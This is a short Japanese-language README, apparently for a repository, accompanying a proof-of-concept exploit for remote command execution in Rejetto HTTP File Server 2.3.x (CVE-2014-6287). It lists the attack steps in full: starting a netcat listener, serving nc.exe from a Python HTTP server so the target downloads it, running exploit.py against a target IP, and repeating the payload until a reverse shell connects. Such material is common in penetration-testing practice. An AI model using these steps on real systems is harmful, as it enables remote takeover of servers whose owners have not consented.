rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287

このリポジトリには、Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution の詳細な説明と動作する PoC が含まれています。

設定:

Netcat リスナーを作成します。

nc -lnvp 1234

攻撃者の IP をあなたの IP とポートに変更します。

また、nc.exe が存在する同じディレクトリに HTTP ファイルサーバーを作成します。

python -m http.server 80

python exploit.py <ターゲットIP> <ターゲットポート>

注: リバースシェルを取得するには、ペイロードを複数回実行する必要がある場合があります。